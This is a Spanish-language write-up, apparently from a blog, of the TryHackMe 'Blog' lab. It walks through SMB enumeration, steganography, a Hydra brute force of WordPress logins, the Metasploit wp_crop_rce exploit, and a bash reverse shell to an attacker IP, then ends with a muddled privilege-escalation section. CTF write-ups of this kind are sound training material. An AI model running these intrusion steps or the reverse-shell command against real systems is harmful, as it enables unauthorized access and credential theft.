La máquina Blog es una máquina de dificultad media de TryHackMe.
Resumen de conceptos trabajados en Blog:
| Enumeración WordPress Información oculta de imágenes mediante esteganografía Obtención de Shell mediante vulnerabilidad en WP Extracción de código fuente usando herramienta Ghidra Obtención de privilegios de root |
Si es tu primera máquina en Try Hack Me y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo introducirte en esta plataforma.
Cuando inicies siempre una máquina de Try Hack Me, recuerda securizarte en la red, para ello te cuento cómo lo hago yo siguiendo estos sencillos pasos.
Estructura del contenido
Intro – Cómo securizar la conexión con TryHackMe y Conectarnos a la máquina de THM
Una vez tenemos desplegada la máquina víctima dentro del panel de THM (IP) – “Start Machine”, securizamos la vpn con el siguiente comando:
sudo ./safevpn-thm.sh [IP]Para ello tendrás que estar ubicado en la carpeta donde tengas alojado el fichero safevpn-thm.sh que te comento en los sencillos pasos de antes, y entonces sí ejecutarlo.
Después de securizarlo, nos conectamos a la máquina víctima, para ello nos ubicamos en la carpeta donde tenemos descargado el fichero openvpn de THM, y nos conectamos de esta forma:
sudo openvpn [nombre_vpn.ovpn]Te recomiendo habilitar los permisos de root de tu máquina desde un inicio para que sea más fácil todo el trabajo, ya que en ocasiones tendrás que instalarte algún paquete adicional o software. Para ello, basta con que ejecutes el comando «sudo su» y pongas tu contraseña.
Cómo Verificar que estamos conectados a la máquina víctima de THM
Para asegurarnos de que podemos comunicarnos con la máquina, lanzamos un:
nmap -sn [IP]Si nos responde con un “Host is up” quiere decir que estamos conectados:
A partir de aquí ya podemos empezar a trabajar….
ENUMERACIÓN -> ESCANEO DE PUERTOS
En este caso se trata de una máquina de dificultad Media según la plataforma. Está abierta, por lo que es gratis y no que se premium en la plataforma.
Creamos dentro de nuestra máquina Kali una carpeta que se llame igual que el nombre de la máquina «Blog», de esta forma será más fácil encontrar archivos que descarguemos.
Hecho esto, empezamos con la fase de numeración.
Lanzamos un NMAP con una serie de scripts básicos de reconocimiento para encontrar posibles puertos abiertos así como versiones y servicios que corren para esos puertos.
Con este comando (-R, de Traceroute) podemos lanzar un ping a la máquina para saber qué tipo de SO tiene según el Time To Live:
ping -c 1 [IP] -R
¿ANTE QUÉ MÁQUINA NOS ENFRENTAMOS? WINDOWS TTL 124 O LINUX 64
En este caso es LINUX porque tiene un TimeToLive 63 (64 sería Linux pero se le resta una unidad por el nodo intermediario de la plataforma TryHackMe).
Empezamos a analizar los puertos abiertos que corren por esa máquina utilizando la herramienta NMAP.
Un ejemplo de comando completo en NMAP para un escaneo completo que yo utilizo es:
nmap -p- -sCV --open -T5 --min-rate 5000 -vvv -n -Pn 10.10.242.64 -oN escaneoDonde cada valor significa lo siguiente:
-p- : analizamos todo el rango de puertos (los 65535)
-sCV : se aplican scripts de reconocimientos básicos integrados en nmap para analizar los servicios y versiones de cada puerto encontrado.
–open : sólo se analizan los puertos abiertos, no los cerrados ni filtrados.
-T5 : se aplica un tiempo de escaneo o temporizado para que el análisis vaya más rápido. Sólo los usaríamos en entornos controlados, ya que generan mucho «ruido».
–min-rate 5000 : se envían 5.000 paquetes por segundo para agilizar el escaneo.
-vvv : se aplica triple verbose para no esperar a finalizar el escaneo y que la información que se vaya encontrando, la vaya mostrando en consola.
-n : para no aplicar resolución DNS y evitar problemas con el escaneo y velocidad.
-Pn : para eliminar el descubrimiento de hosts.
-On “escaneo” : es el output de los resultados que los exportará en la carpeta donde lanzemos el escaneo. De tal forma que una vez se termina el escaneo, vamos a la carpeta de la máquina y abrimos con cat escaneo , el resultado del escaneo.
*En este caso he hecho otro escaneo porque el output no se veía bien en la captura, y he eliminado algunas variables como el output y el verbose.
Vemos que los puertos 22, 80, 139 y 445, están abiertos.
Puerto 22 versión OpenSSH 7.6p1 (aunque esta versión es vulnerable y se pueden ver en la página exploits en internet, en principio no haremos el ataque por aquí).
Información oculta de imágenes mediante esteganografía
El puerto 139 y 445 Samba están abiertos, por lo que, antes de empezar a analizar el puerto 80 web, vamos a ver con el comando “smbclient” si hay recursos compartidos en el servidor que podamos usar, o credenciales que nos permita entrar por ssh por ejemplo.
Con el comando smbclient – L podemos listar los recursos que se están compartiendo. También puedes hacerlo a través del comando “enum4linux [IP]” :
smbclient -L //10.10.242.64
Si lanzamos un smbmap -H podemos ver los permisos que tenemos para ese recurso.
smbmap -H IP -p 445
Vemos que es el único recurso al que tenemos acceso de lectura y escritura, por lo que vamos a ver qué recursos se están compartiendo con el comando:
smbclient -N IP/directorio-N : para iniciar sesión de forma “nula”, es decir, sin utiliza usuario/contraseña.
Y una vez dentro, al listar los recursos vemos que se incluyen estos 3:
Nos descargamos esos recursos en local en nuestra máquina de atacante dentro de una nueva carpeta que llamaremos “smb”.
Para hacerlo, utilizaremos una descarga recursiva (recurse) de todos los elementos y aplicaremos un “yes” por defecto para evitar que nos pregunten cada vez que queramos descargar cada fichero. Después, aplicamos un (“mget *”) para que los descargue todos:
Y si listamos los ficheros que hay dentro de nuestra nueva carpeta creada llamada «smb», vemos que se han descargado correctamente.
Ahora vamos a analizar cada uno para ver si contienen información oculta que nos pueda dar alguna pista.
Para ello utilizamos la herramienta de steghide de esta forma sobre el primer recurso:
Y encontramos un “txt” llamado rabbit_hole.txt
Si intentamos extraer el contenido de ese fichero usando el comando extract vemos que se trataba de un rabbit hole cuyo ibjetivo es despistarnos en el análisis.
Por tanto, vamos a analiza el puerto abierto 80 web (donde normalmente suelen tener el vector de ataque las máquinas de laboratorio de THM).
Si abrimos el navegador y ponemos la dirección IP http://10.10.242.64 , vemos que el servidor nos responde con un 200, pero el contenido que se muestra parece que no está cargando correctamente estilos, etc.
Si analizamos a detalle y hacemos over sobre los enlaces internos o vamos al código fuente, podemos ver que se enlazan a un dominio diferente http://blog.thm
Por lo que vamos a modificar el fichero etc/hosts de nuestra máquina, para incluir ese dominio y ver qué podemos encontrar.
Editamos con nano el fichero y añadimos la línea con la IP víctima y el dominio blog.thm de esta forma:
Ahora, si volvemos al navegador e introducimos la IP o el nombre del dominio, tenemos la web completa:
De un vistazo rápido analizando la web, vemos que:
Hay dos posts y dos usuarios:
- Karen Wheeler
- Billy Joel
Y que la web está construida en WordPress.
Pero vamos a confirmarlo usando herramientas adicionales. Por ejemplo, con la extensión de navegador llamada «wappalizer» podemos verlo, pero en este caso además vamos a usar la herramienta «whatweb»:
Efectivamente extraemos información relevante como la versión de Aparche 2.4.29 y la versión de WordPress 5.0.
Conociendo la versión del CMS, vamos a analizar si existe alguna vulnerabilidad ya pública que podamos explotar, para ello lanzamos un escaneo con la herramienta wpscan.
En el escaneo vamos a incluir algunos comandos específicos para extraer información como los plugins, temas y usuarios que encuentre de WordPress.
De todo el reporte donde nos confirman las versiones de apache y del CMS, vemos que encuentra dos usuarios que habíamos visto antes en la web (bjoel y kwheel):
Confirmamos que esos usuarios que se encuentran son válidos y nos vamos a tratar de identificar en el directorio /wp-login.php que todo WP tiene para que los usuarios accedan al dashboard.
Al probar con los dos usuarios: bjoel y kwheel, e introducir una contraseña aleatoria, vemos que el CMS nos muestra el mensaje de que la contraseña no es correcta, por lo que ambos usuarios sí existen:
Diferente sería a si me invento un usuario que no existe cuya respuesta que da es:
Sabiendo ya que ambos usuarios existen, vamos a aplicar fuerza bruta con Hydra utilizando Burpsuite.
Activamos Burpsuite a través de la extensión FoxyProxy para interceptar la petición y ver contra qué hace la verificación del login.
Interceptamos la petición:
Vamos al panel de login y metemos cualquier contraseña.
Burpsuite nos abre la ventana y nos da esta respuesta:
Vemos que se hace una petición por POST a la url de /wp-login.php y que traza una cookie.
Mandamos esta respuesta al repeater “control+R” para analizarla y quitamos el “intercept on” para deshabilitarlo de Burpsuite, y lo desactivamos también de FoxyProxy.
Esa última línea de cookie donde se registra el nombre del usuario, contraseña, etc será la que usaremos para hacer el ataque con Hydra.
Empezamos la fase de ataque de fuerza bruta con Hydra usando el comando:
hydra -l kwheel -P /usr/share/wordlists/rockyou.txt [IP] http-post-form "/wp-login.php:[línea cookies modificada] -I
En esta línea de comando lo que hacemos es incluir el usuario “kwheel” al inicio para que lo haga directamente sobre este usuario (también está el otro usuario «bjoel» pero no está ahí la vulnerabilidad).
Con -P para que vaya al diccionario de contraseñas de rockyou en este caso. Le colocamos la [IP] y le decimos que es una petición http por post en formato formulario.
Entrecomillado le decimos que lo pruebe sobre la ruta /wp-login.php. Después con “:” le pegamos toda la url que nos dio Burpsuite al interceptar la petición, cambiando el usuario log=kwheel y de password “pwd=^PASS^” para que pruebe con las contraseñas de rockyou.
Al final de esa url, le ponemos “:” e incluimos el mensaje de error que nos daba el login cuando se incluía un usuario no válido, para que hydra sepa que no es un acceso válido.
Así, ya tendríamos que, para el usuario kwheel la contraseña es “cutiepie1” (he hecho lo mismo con bjoel pero no encontró nada).
Efectivamente la contraseña y el usuario (kwheel – cutiepie1) son válidos y accedo al dashboard de WP:
Ahora, sabiendo que al inicio detectamos que WP corría en la versión 5.0, vamos a analizar con searchesploit si existen vulnerabilidades que podamos explotar.
Obtención de Shell mediante vulnerabilidad en WP
Vemos un Metasploit que consistiría en una modificación de las imágenes para subir una Shell y ganar acceso al sistema.
Al hacer una búsqueda en Google o en ExploitDB vemos la vulnerabilidad y la documentación https://www.exploit-db.com/exploits/46662
También encontramos una descripción a detalle del exploit en la página de Rapid7:
https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce/
En este caso vamos a utilizar la herramienta metasploit de Linux: msfconsole
Buscamos crop-image y nos encuentra directamente el de WP que es el que nos interesa con RCE ejecución remota de comandos (use 1).
Para poder usarla, tenemos que setearle a la herramienta una serie de valores antes, que serán: USERNAME, PASSWORD, RHOSTS (la url del aplicativo web) y LHOST (IP máquina atacante). Por defecto correrá por el puerto 4444.
Colocamos finalmente el comando exploit.
Comienza a realizar los diferentes pasos de acuerdo a la información que le hemos proporcionado.
De esta forma, vemos que se autentica en el CMS, prepara el payload y sube dicha imagen que va a permitir a través del path traversal y local file inclusión, almacenar en lo que sería la carpeta del tema de WordPress, un archivo malicioso que nos va a permitir hacer una ejecución remota de comandos enviándonos una Shell a nuestra máquina de atacante por el puerto 4444.
meterpreter > shellPonemos ahora shell, para ejecutar comandos de Linux y le pasamos este comando en bash para escuchar por el puerto 1221 por ejemplo:
bash -c 'bash -i >& /dev/tcp/10.8.1.198/1221 0>&1'IP de tu máquina atacante.
Levantamos por netcat el puerto 1221, y ejecutamos el comando de bash anterior:
script /dev/null -c bashHacemos una configuración de la terminal en la Shell y reseteamos la terminal así:
Configuramos la terminal para que tenga 400 filas y 400 columnas, exportamos la variable term, le decimos que el comando ll va a implicar listar todos los archivos incluyendo ocultos y por orden reciente, exportamos la variable path para asegurarnos que el sistema apunta a todas las rutas que son conocidas en Linux.
Al listarlo, vemos que hay un archivo de configuración de WordPress llamado “wp-config.php”, y al acceder, vemos el usuario y contraseña de la base de datos de MySQL.
Ahora por tanto nos conectamos a la BBDD a través de esas credenciales:
mysql -u wordpressuser -p
(contraseña vacía)
Encontramos dos bases de datos:
Usamos la de blog, le pedimos que nos muestre todas las tablas:
Y si pedimos lo que hay dentro de wp_users, tenemos los usuarios que ya sabíamos con las contraseñas almacenadas (hasheadas, no en texto plano):
Salimos de la consola de mysql con el exit.
Vemos que la máquina víctima correo sobre GNU Linux:
Vamos al directorio home y vemos que en el usuario bjoel podemos listar recursos, y vemos que está el fichero user.txt con la primera flag de THM pero nos dice que tenemos que intentarlo más duro para descubrirla XD
Buscamos dentro del usuario bjoel y detectamos un binario interesante poco habitual en Linux y que nos da la pista de que probablemente sea algo configurado a mano:
/usr/sbin/checker
Nos traemos ese binario a la carpeta /dev/shm/ donde teníamos permisos de escritura y ejecución.
Después con Python nos levantamos un servidor y nos ponemos en escucha por el puerto por ejemplo 8998.
Ahora nos vamos a la máquina atacante y dentro de la carpeta de smb que hemos creado, hacemos la petición wget para descargarnos localmente el binario checker:
Extracción de código fuente usando herramienta Ghidra
Ahora analizaremos con la herramienta “ghidra” el binario a detalle y tratar de ver el código fuente para saber qué está analizando en el valor admin.
Abrimos un proyecto en ghidra y analizamos el checker hasta ver cómo funciona el main y con esto lo que hacemos es nosotros darle un valor al admin (ejemplo seohack) y así poder acceder a la carpeta root y encontrar la flag en la root.txt
Obtención de privilegios de root
Para ahora poder acceder al fichero de user.txt, lo que haremos será copiar el código fuente del binario checker que nos dio la herramienta de ghidra:
Al acceder a /media/usb/user.txt podemos llegamos a la flag.
Fuentes:
- Algunas de las imágenes son capturas del vídeo de Youtube original de PlatasSec donde he ido resolviendo paso a paso esta máquina. Todo el proceso de resolución de la máquina lo he ido haciendo a través del vídeo. Os recomiendo verlo entero ya que ofrece un nivel detalle muy bueno y documentación de cada paso.
- También me he valido de otros writeups online como el de ElPingüino de Mario.
